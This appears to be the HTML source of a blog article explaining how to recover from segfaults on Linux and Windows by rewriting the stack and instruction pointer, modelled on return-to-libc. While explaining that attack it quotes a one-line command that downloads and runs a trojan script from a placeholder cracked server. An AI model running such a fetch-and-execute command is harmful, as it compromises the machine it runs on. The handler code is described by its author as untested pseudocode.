-
Notifications
You must be signed in to change notification settings - Fork 0
/
handling.html
238 lines (196 loc) · 11.1 KB
/
handling.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="chrome=1">
<title>Cleanly recovering from Segfaults under Windows and Linux (32-bit, x86)</title>
<link rel="stylesheet" href="stylesheets/styles.css">
<link rel="stylesheet" href="stylesheets/pygment_trac.css">
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
<!--[if lt IE 9]>
<script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
</head>
<body>
<div class="wrapper">
<header>
<h1>Cleanly recovering from Segfaults under Windows and Linux (32-bit, x86)</h1>
<p class="view"><a href="/">back to index</a></p>
</header>
<section>
<h2>two brief- three. three brief notes.</h2>
<p>First. Windows calls 'em access violations, Linux calls 'em segfaults. I'm a linux person, so I'll
go with segfaults. They're the same thing though.</p>
<p>Second. My code may look like C, but since it's ported from a decidedly not-C language and
I didn't actually test it to see if it compiles, you should treat it like pseudocode.
<em>Caveat lector</em>. (look ma I'm classy)</p>
<p>Third, a warning. For me, in almost every case of segfaults, they arise due to a null pointer dereference.
These are basically harmless. However, the remaining cases tend to be <em>really really destructive</em>
things like buffer overflows, that can end up corrupting memory basically at random.
<strong>When you attempt to recover from segfaults, you are playing with fire</strong>. That said, moving on ..</p>
<p>.. Fourth! Despite the fact that this method will result in a valid stackframe chain, it creates a
call instruction where none exists in the original executable. Compilers that don't emit unwind information
for functions that "can't" throw (which, I am told, includes C++ at least under Linux) may experience, at best,
scope destructors not being called and/or variable corruption and at worst, <strong>outright crashes</strong>. For this reason,
it is recommended to only use this method for error logging on such languages. (thanks Maristic @reddit) Lobby
your compiler writers to add a flag to treat any pointer dereference as a potential throw site!</p>
<h2>the problem</h2>
<p>Segfault crashes are annoying. Most exceptions can be caught, but segfaults are the archetypal
instant/total crash. Ways of handling them tend to rely on system-specific methods and have their
own idiosyncracies. In this article I'm gonna outline how to recover from segfaults under Linux
(probably at least some other POSIX systems as well) as well as Windows (32-bit each). Interestingly,
the approach is quite similar, and should generalize to 64-bit systems with minor prodding assuming
you're familiar with the 64-bit version of cdecl.</p>
<h2>the basic idea</h2>
<p>Both Windows and Linux let you define handler functions that are executed when a segfault occurs.
In theory we could throw an exception right from the handler, but this is <strong>highly iffy</strong>
because the operating system treats "the state of being in a handler function" as special.
We can't return from the handler function either, because that'll just bring us back to the
crash site. Instead, we need to take a page out of the Black Hat Book.</p>
<h2>return-to-libc</h2>
<p>Almost all exploits are concerned primarily with getting the target computer to execute arbitrary
code. Buffer overflows let you overwrite variables, but they usually don't let you change <em>code</em>,
because assembler code does not live on the stack. There's a trick to bypass this, though,
and it's called the return-to-libc attack.</p>
<p>Basically, it would be enough if we could call one C library function with arbitrary arguments.
For instance, the function could be system() and the argument could be
<code>wget http://crackedserver.cc/trojan.sh && sh -c trojan.sh</code>. But we can't change code, so
we cannot insert a call instruction, even with a buffer overflow.</p>
<p>We can, however, reuse a call instruction that's already there.</p>
<p>Did you know that the "ret" instruction works like a jump that takes its address from the stack?</p>
<p>The way function calls work is, the "call" instruction pushes the next instruction address
after the "call" onto the stack (in most cases, the same stack as used for static buffers
, although some rare architectures have dedicated instruction stacks [and thus
are immune to this attack]), then executes a jump to the target function. Symmetrically,
the "ret"[urn] instruction simply pops an address from the stack and jumps to it.</p>
<p>Knowing this, our attack is simple: use a buffer overflow to overwrite the return address of the
current function with <code>&system</code>, and provide the appropriate arguments for it. This is made easier
by the fact that for historical reasons, most stacks grow <em>downwards</em>, as opposed to static buffers
on the stack, which naturally grow upwards.</p>
<p>We are going to make use of a similar approach.</p>
<h2>applying this to segfault recovery</h2>
<p>We want the segfault handler to execute arbitrary code without being limited to what the OS
deems "safe" for handlers. For that, we need to execute a jump to the address of our userspace
(non-handler, though of course the handler is not run in kernel space)
handler function. But we can't rewrite the callsite.</p>
<p>We <em>can</em> rewrite the stack. And we have one "ret" instruction available.</p>
<p>On both Windows and Linux, the segfault handler function is passed a "context struct", which
includes the state of the registers at the failure site. Ostensibly, this is so people can
repair the problem that caused the segfault (it also lets you do nifty things like userspace
segment handling). However, what we're going to do is to set up an imitation of the effects
of a call instruction on the stack (<code>push ip</code>), then rewrite the instruction pointer in that struct
and let the operating system's return to user code do the work for us - instead of returning to the
failing code, it's going to return to a handler function.</p>
<p>Enough talk. Bring the code!</p>
<h2>the code</h2>
<h3>linux</h3>
<pre><code>#include "signal.h"
void seghandle_userspace() {
// note: because we set up a proper stackframe,
// unwinding is safe from here.
// also, by the time this function runs, the
// operating system is "done" with the signal.
// choose language-appropriate throw instruction
// raise new MemoryAccessError "Segmentation Fault";
// throw new MemoryAccessException;
// longjmp(erroneous_exit);
// asm { int 3; }
*(int*) NULL = 0;
}
enum X86Registers {
GS, FS, ES, DS, EDI, ESI, EBP, ESP, EBX, EDX, ECX, EAX,
TRAPNO, ERR, EIP, CS, EFL, UESP, SS
}
void seghandle(int sig, void* si, void* unused) {
ucontext_t* uc = (ucontext_t*) unused;
// No. I refuse to use triple-pointers.
// Just pretend ref a = v; is V* ap = &v;
// and then substitute a with (*ap).
ref gregs = uc->uc_mcontext.gregs;
ref eip = (void*) gregs[X86Registers.EIP],
ref esp = (void**) gregs[X86Registers.ESP];
// imitate the effects of "call seghandle_userspace"
esp --; // decrement stackpointer.
// remember: stack grows down!
*esp = eip;
// set up OS for call via return, like in the attack
eip = (void*) &seghandle_userspace;
}
void setup_segfault_handler() {
struct sigaction sa;
sa.flags = SA_SIGINFO;
sigemptyset (&sa.mask);
sa.sigaction = &seghandle;
if (sigaction(SIGSEGV, &sa, NULL) == -1) {
fprintf(stderr, "failed to setup SIGSEGV handler\n");
exit(1);
}
}
</code></pre>
<p>So on SIGSEGV, <code>seghandle</code> is called (as a signal handler), rewrites the signal's instruction address
to <code>seghandle_userspace</code>, then returns to the OS, which in returning to user code jumps to
<code>seghandle_userspace</code>, which then throws an exception or does whatever else it likes.</p>
<h3>windows</h3>
<p>Under Windows, this is slightly more involved. (Of course it is. Have you seen the size of a
typical winapi function as compared to POSIX?)</p>
<p>What surprised me though, was how similar the approach is under Windows. The Linux approach can almost
be copied 1:1.</p>
<p>Big credit goes to Matt Pietrek and the highly valuable <a href="http://www.microsoft.com/msj/0197/exception/exception.aspx">crash course on the Depths of Win32™
SEH</a>.</p>
<p>Basically, Windows uses SEH (Structured Exception Handling) to cope with critical errors.
You've seen SEH before - the default SEH handler is the "This application has stopped working"
pop-up.
SEH handlers are tracked with a linked list stored in <code>FS[0]</code>. This is
the one part where you may need some assembler, or use your compiler's built-in primitives
(<code>_try</code>/<code>_except</code>) where provided. I'm going to assume that <code>_try</code>/<code>_except</code> is not available.</p>
<p>Okay. When a SEH error happens under Windows, the operating system grabs the list of handlers
from <code>FS[0]</code>, then queries them in order to see if any of them will handle the error. Handlers
have the choice to say "keep looking", "return to user code" or "invoke exception handler".</p>
<p>A useful note: if we pass over an exception and let the operating system handle it, it will call
our handler again with EH_UNWINDING set. Since the other parameters will be unchanged,
and the function probably won't try to suddenly handle an exception it just passed over,
this mostly need not concern us.</p>
<p>The code!</p>
<pre><code> #include "winbase.h"
#include "windows.h"
#include "excpt.h"
void seghandle_userspace() {
// see above re. what to do now
*(int*) NULL = 0;
}
EXCEPTION_DISPOSITION seghandle
(_EXCEPTION_RECORD* record, void* establisher_frame,
_CONTEXT* context, void* dispatcher_context
) {
// see above
ref
esp = (void**)context.Esp,
eip = (void* )context.Eip;
// imitate the effects of "call seghandle_userspace"
// stack grows down under windows, too
esp --;
*esp = eip;
// rewrite eip for return-to-lib, same as linux
eip = (void*) &seghandle_userspace;
// and back to user code.
return ExceptionContinueExecution;
}
void setup_segfault_handler() {
_EXCEPTION_REGISTRATION reg;
// Note: this bit will require assembly.
// Consult your compiler vendor documentation.
reg.prev = FS[0];
reg.handler = &seghandle;
FS[0] = &reg;
// note: do this on exit
// fs[0] = ((_EXCEPTION_REGISTRATION) fs[0]).prev;
}
</code></pre>
</section>
<footer>
<p><small>Hosted on GitHub Pages — Theme by <a href="https://github.com/orderedlist">orderedlist</a></small></p>
</footer>
</div>
<script src="javascripts/scale.fix.js"></script>
</body>
</html>